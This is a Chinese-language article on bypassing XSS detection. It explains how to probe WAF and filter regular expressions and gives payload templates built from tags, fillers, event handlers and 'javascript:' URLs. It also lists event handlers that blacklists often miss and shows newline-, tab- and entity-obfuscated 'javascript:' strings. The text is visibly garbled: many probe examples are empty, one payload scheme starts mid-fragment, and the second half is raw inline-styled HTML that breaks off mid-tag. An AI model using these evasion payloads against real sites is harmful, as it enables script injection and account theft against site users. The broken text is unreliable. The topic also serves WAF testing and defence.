绕过 XSS 检测机制

VSole2022-05-05 07:30:30

介绍

        跨站点脚本 (XSS) 是最常见的 Web 应用程序漏洞之一。它可以通过清理用户输入、基于上下文转义输出、正确使用文档对象模型 (DOM) 接收器和源、执行正确的跨源资源共享 (CORS) 策略和其他安全实践来完全防止。尽管这些预防性技术是公共知识,但 Web 应用程序防火墙 (WAF) 或自定义过滤器被广泛用于添加另一层安全性,以保护 Web 应用程序免受人为错误或新发现的攻击向量引入的缺陷的利用。虽然 WAF 供应商仍在尝试机器学习,但正则表达式仍然是检测恶意字符串的最广泛使用的方法。

HTML 上下文

        当用户输入反映在网页的 HTML 代码中时,我们就说它在 HTML 上下文中。HTML 上下文可以根据反射的位置进一步划分为子上下文。

  • 内部标签-
  • 外部标签-You entered $input

外部标签

        此上下文的主要字符<负责启动 HTML 标记。根据 HTML 规范,标签名称必须以字母开头。有了这些信息,可以使用以下探针来确定用于匹配标签名称的正则表达式:

  • - 如果通过,则没有标签检查到位
  • - 如果失败,<[a-z]+
  • x- 如果通过,^<[a-z]+
  • - 如果失败,<[a-zA-Z]+
  • - 如果失败,<[a-zA-Z0-9]+
  • - 如果失败,<.+

        如果安全机制不允许这些探测,则无法绕过。由于误报率高,应劝阻此类限制性规则。

如果上述任何探测未阻塞,则可以使用许多有效负载方案来制作有效负载。

有效载荷方案#1
<{tag}{filler}{event_handler}{?filler}={?filler}{javascript}{?filler}{>,//,Space,Tab,LF}

        一旦{tag}找到合适的值,下一步就是猜测用于匹配标记和事件处理程序之间的填充符的正则表达式。可以通过以下探针执行此操作:

  • - 如果失败,{space}
  • - 如果失败,[\s]
  • - 如果失败,\s+
  • - 如果失败,[\s/]+
  • - 如果失败,[\s]+
  • - 如果失败,[\s\r+]+
  • - 如果失败,.*+

        这个组件,即事件处理程序是有效负载结构中最关键的部分之一。它通常与 kind 的一般正则表达式on\w+或黑名单(例如on(load|click|error|show). 第一个正则表达式的限制非常严格,无法绕过,而黑名单类型模式通常使用不太知名的事件处理程序绕过,这些事件处理程序可能不存在于黑名单中。使用的方法类型可以通过两个简单的检查来识别

  • - 如果失败,on\w+. 如果通过,on(load|click|error|show)
  • - 如果通过,则没有检查正则表达式的事件处理程序到位

        如果结果是正则表达式on\w+,则不能绕过它,因为所有事件处理程序都以 . 开头on。在这种情况下,您应该继续下一个有效负载方案。如果正则表达式遵循黑名单方法,则需要查找未列入黑名单的事件处理程序。如果所有事件处理程序都被列入黑名单,您应该继续下一个有效负载方案。

在我使用 WAF 的经验中,我发现黑名单中缺少的一些事件处理程序是:

onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel

        对相邻的填充物的测试与前面讨论的填充物相似,并且只有在被安全机制阻止=时才应进行测试。

        下一个组件是要执行的 JavaScript 代码。它是有效负载的活动部分,但不需要对用于匹配它的正则表达式进行假设,因为 JavaScript 代码是任意的,因此无法与预定义的模式匹配。

        此时将payload的所有组件放在一起,只需要关闭payload即可,可以通过以下方式完成

{space}




        应该注意的是,HTML 规范允许表明诸如有效的 HTML 标记。HTML 标签的这一属性使得攻击者可以通过上述方式注入 HTML 标签。

有效载荷方案#2
,//,Space,Tab,LF}

        对填充符以及结束字符串的测试与之前的有效负载方案类似。必须注意的是,a?可以用在 URL 的末尾(如果 URL 后没有使用填充符)而不是结束标记。之后的每个字符?将被视为 URL 的一部分,直到>遇到 a。随着</code><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">标签的使用,它很可能被大多数安全规则检测到。</span></p><p dir="auto" style="margin-bottom: 16px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">使用</span><code style="padding: 0.2em 0.4em;outline: 0px;max-width: 100%;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;background-color: var(--color-neutral-muted);border-radius: 6px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><object></code><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">标签的有效负载可以使用类似的有效负载方案制作:</span></p><p dir="auto" style="margin-bottom: 16px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><code style="padding: 0.2em 0.4em;outline: 0px;max-width: 100%;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;background-color: var(--color-neutral-muted);border-radius: 6px;box-sizing: border-box !important;overflow-wrap: break-word !important;"></code></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="kotlin"><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><obJecT{filler}<span class="code-snippet__keyword" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">data</span>{?filler}={?filler}{url}{?filler}{>,<span class="code-snippet__comment" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">//,Space,Tab,LF}</span></span></code></pre></section><p dir="auto" style="margin-bottom: 16px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br></p><h5 dir="auto" style="margin-top: 24px;margin-bottom: 16px;outline: 0px;font-weight: 600;font-size: 0.875em;max-width: 100%;letter-spacing: 0.544px;white-space: normal;line-height: 1.25;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">有效载荷方案#3</span></h5><p dir="auto" style="margin-bottom: 16px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">        这个有效载荷方案有两种变体:普通的和可混淆的。</span></p><p dir="auto" style="margin-bottom: 16px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">普通变体通常与诸如</span><code style="padding: 0.2em 0.4em;outline: 0px;max-width: 100%;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;background-color: var(--color-neutral-muted);border-radius: 6px;box-sizing: border-box !important;overflow-wrap: break-word !important;">href[\s]*=[\s]*javascript:</code><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">. </span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">其结构如下:</span></span></p><p dir="auto" style="margin-bottom: 16px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><A{filler}hReF{?filler}={?filler}JavaScript:{javascript}{?filler}{>,<span class="code-snippet__comment" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">//,Space,Tab,LF}</span></span></code></pre></section><p dir="auto" style="margin-bottom: 16px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><code style="padding: 0.2em 0.4em;outline: 0px;max-width: 100%;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;background-color: var(--color-neutral-muted);border-radius: 6px;box-sizing: border-box !important;overflow-wrap: break-word !important;"></code><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p><p dir="auto" style="margin-bottom: 0em;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">可混淆的有效载荷变体具有以下结构:</span></p><p dir="auto" style="margin-bottom: 0em;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><br></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><A{filler}hReF{?filler}={?filler}{quote}{special}:{javascript}{quote}{?filler}{>,<span class="code-snippet__comment" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">//,Space,Tab,LF}</span></span></code></pre></section><p dir="auto" style="margin-bottom: 16px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><code style="padding: 0.2em 0.4em;outline: 0px;max-width: 100%;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;background-color: var(--color-neutral-muted);border-radius: 6px;box-sizing: border-box !important;overflow-wrap: break-word !important;"></code><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"></p><p dir="auto" style="margin-bottom: 16px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">这两个变体之间的显着区别在于</span><code style="padding: 0.2em 0.4em;outline: 0px;max-width: 100%;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;background-color: var(--color-neutral-muted);border-radius: 6px;box-sizing: border-box !important;overflow-wrap: break-word !important;">{special}</code><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">组件和</span><code style="padding: 0.2em 0.4em;outline: 0px;max-width: 100%;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;background-color: var(--color-neutral-muted);border-radius: 6px;box-sizing: border-box !important;overflow-wrap: break-word !important;">{quote}</code><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">s。</span><code style="padding: 0.2em 0.4em;outline: 0px;max-width: 100%;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;background-color: var(--color-neutral-muted);border-radius: 6px;box-sizing: border-box !important;overflow-wrap: break-word !important;">{special}</code><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">指的是字符串的混淆版本,</span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">可以</span></span><code style="padding: 0.2em 0.4em;outline: 0px;max-width: 100%;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;background-color: var(--color-neutral-muted);border-radius: 6px;box-sizing: border-box !important;overflow-wrap: break-word !important;">javascript</code><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">使用换行符和水平制表符进行混淆,如下所示:</span></p><ul dir="auto" class="list-paddingleft-1" style="margin-bottom: 16px;padding-left: 2em;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><li style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><code style="padding: 0.2em 0.4em;outline: 0px;max-width: 100%;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;background-color: var(--color-neutral-muted);border-radius: 6px;box-sizing: border-box !important;overflow-wrap: break-word !important;">j%0aAv%0dasCr%09ipt:</code></p></li><li style="margin-top: 0.25em;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><code style="padding: 0.2em 0.4em;outline: 0px;max-width: 100%;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;background-color: var(--color-neutral-muted);border-radius: 6px;box-sizing: border-box !important;overflow-wrap: break-word !important;">J%0aa%0av%0aa%0as%0ac%0ar%0ai%0ap%0aT%0a:</code></p></li><li style="margin-top: 0.25em;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><code style="padding: 0.2em 0.4em;outline: 0px;max-width: 100%;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;background-color: var(--color-neutral-muted);border-radius: 6px;box-sizing: border-box !important;overflow-wrap: break-word !important;">J%0aa%0dv%09a%0as%0dc%09r%0ai%0dp%09T%0d%0a:</code></p></li></ul><p dir="auto" style="margin-bottom: 16px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">在某些情况下,数字字符编码也可用于逃避检测。</span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">十进制和十六进制都可以使用。</span></span></p><ul dir="auto" class="list-paddingleft-1" style="margin-bottom: 16px;padding-left: 2em;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><li style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><code style="padding: 0.2em 0.4em;outline: 0px;max-width: 100%;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;background-color: var(--color-neutral-muted);border-radius: 6px;box-sizing: border-box !important;overflow-wrap: break-word !important;">Javascript:</code></p></li><li style="margin-top: 0.25em;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><code style="padding: 0.2em 0.4em;outline: 0px;max-width: 100%;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;background-color: var(--color-neutral-muted);border-radius: 6px;box-sizing: border-box !important;overflow-wrap: break-word !important;">javascript:</code></p></li></ul><p dir="auto" style="margin-bottom: 16px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">显然,如果需要,这两种混淆技术可以一起使用。</span></p><ul dir="auto" class="list-paddingleft-1" style="margin-bottom: 16px;padding-left: 2em;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><li style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><code style="padding: 0.2em 0.4em;outline: 0px;max-width: 100%;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;background-color: var(--color-neutral-muted);border-radius: 6px;box-sizing: border-box !important;overflow-wrap: break-word !important;">Java%0a%0d%09script:</code></p></li></ul><h4 dir="auto" style="margin-top: 24px;margin-bottom: 16px;outline: 0px;font-weight: 600;max-width: 100%;letter-spacing: 0.544px;white-space: normal;line-height: 1.25;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">可执行和不可执行的上下文</span></h4><p dir="auto" style="margin-bottom: 16px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">    根据注入的有效载荷是否可以在没有任何特殊帮助的情况下执行,</span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">外部标签上下文可以进一步分为</span></span><span style="outline: 0px;max-width: 100%;font-weight: 600;box-sizing: border-box !important;overflow-wrap: break-word !important;">可执行</span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">和</span><span style="outline: 0px;max-width: 100%;font-weight: 600;box-sizing: border-box !important;overflow-wrap: break-word !important;">不可执行上下文。</span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">当输入反映在 HTML 注释中</span><code style="padding: 0.2em 0.4em;outline: 0px;max-width: 100%;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;background-color: var(--color-neutral-muted);border-radius: 6px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><--$input--></code><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">或在以下标记之间时,会出现不可执行的上下文:</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="xml"><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet__tag" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><<span class="code-snippet__name" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">style</span>></span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet__tag" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><<span class="code-snippet__name" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">title</span>></span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet__tag" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><<span class="code-snippet__name" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">noembed</span>></span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet__tag" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><<span class="code-snippet__name" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">template</span>></span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet__tag" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><<span class="code-snippet__name" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">noscript</span>></span></span></code><code style="white-space:pre-wrap;outline: 0px;max-width: 1000%;text-align: left;display: flex;font-family: Consolas, "Liberation Mono", Menlo, Courier, monospace;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet_outer" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span class="code-snippet__tag" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><<span class="code-snippet__name" style="outline: 0px;max-width: 1000%;box-sizing: border-box !important;overflow-wrap: break-word !important;">textarea</span>></span></span></code></pre></section><p style="outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, "Helvetica Neue", "PingFang SC", "Hiragino Sans GB", "Microsoft YaHei UI", "Microsoft YaHei", Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;">    </p><p dir="auto" style="margin-bottom: 16px;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">必须关闭这些标签才能执行有效负载。</span><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">因此,测试可执行上下文和不可执行上下文之间的唯一区别是对</span></span><code style="padding: 0.2em 0.4em;outline: 0px;max-width: 100%;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;background-color: var(--color-neutral-muted);border-radius: 6px;box-sizing: border-box !important;overflow-wrap: break-word !important;">{closing tag}</code><span style="outline: 0px;max-width: 100%;vertical-align: inherit;box-sizing: border-box !important;overflow-wrap: break-word !important;">组件的测试,可以如下完成:</span></p><ul dir="auto" class="list-paddingleft-1" style="margin-bottom: 16px;padding-left: 2em;outline: 0px;max-width: 100%;letter-spacing: 0.544px;white-space: normal;color: rgb(36, 41, 47);font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Helvetica, Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji";font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);overflow-wrap: break-word !important;"><li style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><code style="padding: 0.2em 0.4em;outline: 0px;max-width: 100%;font-family: ui-monospace, SFMono-Regular, "SF Mono", Menlo, Consolas, "Liberation Mono", monospace;font-size: 13.6px;background-color: var(--color-neutral-muted);border-radius: 